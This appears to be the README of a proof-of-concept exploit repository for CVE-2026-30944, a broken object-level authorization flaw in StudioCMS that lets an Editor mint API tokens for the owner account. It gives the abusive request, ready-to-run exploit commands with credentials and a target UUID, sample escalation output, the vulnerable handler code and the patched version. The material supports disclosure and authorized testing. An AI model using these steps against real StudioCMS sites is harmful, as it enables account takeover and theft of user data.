
Python proof-of-concept for CVE-2026-30944, exploiting a BOLA vulnerability in StudioCMS to escalate privileges via insecure API token generation.
StudioCMS Privilege Escalation via Insecure API Token Generation
The POST /studiocms_api/dashboard/api-tokens endpoint in StudioCMS ≤ 0.3.0 allows any authenticated user (at minimum Editor role) to generate API tokens for any other user, including owner and admin accounts.
The endpoint accepts a user parameter in the request body specifying the target user UUID but never validates whether the requesting user is authorized to create tokens on behalf of that target. This is a classic Broken Object Level Authorization (BOLA) vulnerability that results in full privilege escalation.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Attacker │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Full user data as Owner] │
│ │
| File | Description |
|---|---|
cve_2026_30944_poc.py | Python exploitation script with manual & automated modes |
README.md | This file |
LICENSE | MIT License |
Editor accountpip install requests colorama
# Generate an API token for the owner using an editor account
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Save results to JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# Test with multiple roles to confirm the vulnerability
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| Argument | Description |
|---|---|
-u, --url | Target StudioCMS base URL |
--uuid | Target user UUID (e.g., owner account) |
| Argument | Description |
|---|---|
--username | Username for authentication |
--password | Password for authentication |
| Argument | Description |
|---|---|
--save | Save results to JSON file |
--no-ssl-verify | Disable SSL certificate verification |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[+] API token generated successfully!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: Verification
──────────────────────────────────────────────────────────
[*] Verifying token access on REST API...
[+] VULNERABILITY CONFIRMED — Full API access achieved!
[*] Retrieved 9 user records
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Exploitation failed — token not generated
The vulnerable handler at packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 16–57) accepts a user parameter from the JSON body and passes it directly to the token generation function without authorization checks:
// [1] Only checks if caller is editor — not WHO they're creating a token for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' from request body — no validation against authenticated session
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Passed directly to token generation — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
The authorization model only verifies "is the caller at least an editor?" instead of "is the caller authorized to create a token for this specific user?"
Update StudioCMS to version 0.4.0 or later:
npm install studiocms@latest
This tool is provided for educational and authorized security testing purposes only.
Filipe Gaudard
This PoC is released under the MIT License for educational purposes. Use responsibly and ethically.
| Field | Value |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: Authorization Bypass Through User-Controlled Key |
| CWE (secondary) | CWE-863: Incorrect Authorization |
| MITRE ATT&CK | T1134 — Access Token Manipulation |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Affected | studiocms ≤ 0.3.0 |
| Fixed in | studiocms 0.4.0 |
| Argument | Description |
|---|
--auto-test | Enable automated multi-role testing |
--editor-user | Editor account username |
--editor-pass | Editor account password |
--visitor-user | Visitor account username |
--visitor-pass | Visitor account password |